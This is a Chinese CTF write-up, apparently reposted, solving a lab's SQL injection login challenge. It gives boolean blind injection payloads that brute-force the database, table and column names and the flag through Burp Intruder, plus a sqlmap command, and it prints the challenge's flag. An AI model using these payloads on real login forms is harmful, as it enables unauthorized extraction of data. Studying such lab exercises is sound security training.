0到1 ctfer: SQL注入-2
Posted Zeker62
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了0到1 ctfer: SQL注入-2相关的知识,希望对你有一定的参考价值。
分析这个靶场 :
登录靶场,只有一个空空的界面:
很明显,这是一个登录到账号密码的关于SQL注入的题目
尝试输入admin和其他用户名,发现是不一样的报错:
说明这里的机制是:先检查账号是否存在,再检查账号和密码是否对应
由此可以使用burpsuite抓包进行报错注入的操作:
经过抓包,在burp上显示不同的内容:
“账号不存在”
“账号和密码错误”
所以由此可以判断出,账号密码是否正确,来源于报错:
- 用户名正确报错:{“error”:1,“msg”:"\\u8d26\\u53f7\\u6216\\u5bc6\\u7801\\u9519\\u8bef"}
- 用户名不存在报错:{“error”:1,“msg”:"\\u8d26\\u53f7\\u4e0d\\u5b58\\u5728"}
依据此信息可以对其进行报错注入:
#手工方法:
判断数据库:
使用burpsuite加上合适的payload即可:
判断数据库名称的字符数
经过尝试,数据库名称字符数为4
name=admin'+and+if(length(database())=4,true,false)%23&pass=a
判断数据库名称:
用intruder暴力破解数据库名称:
name=admin'+and+substr(database(),1,1)='f'%23&pass=a
得到数据库名称为note
判断表名:
就不进行表的位数判断了,直接上intruder
暴力破解数据表名:
name=admin'+AND+substr((SELECT+group_concat(table_name)+FROM+information_schema.tables+WHERE+table_schema=database()),1,1)='f'%23
经过测试,最好SQL语句的操作是大写,存在过滤小写的过滤器
表名称有两个:fl4g和users
判断列名:、
暴力破解列名称:
name=admin'+AND+substr((SELECT+group_concat(column_name)+FROM+information_schema.columns+WHERE+table_schema=database()),1,1)='f'%23
四列:flag,id,username,passwords
找出flag
flag的值应该存在于数据表为fl4g的flag列,注意修改字典,要添加数字和一些特殊符号进去
name=admin'+AND+substr((SELECT+group_concat(flag)+FROM+flag),1,1)='a'%23
flag就可以出来了:n1book{login_sqli_is_nice}
sqlmap
将抓到带有SQL注入的数据包保存到文件中
使用sqlmap打开,并用-p指定参数name为注入点
sqlmap -r 'a.txt' -p name --batch
之后再加上一些参数爆破出一些东西就不赘述了
以上是关于0到1 ctfer: SQL注入-2的主要内容,如果未能解决你的问题,请参考以下文章
CTF 小白教程《从0到1:CTFer成长之路》SQL - 2 解题过程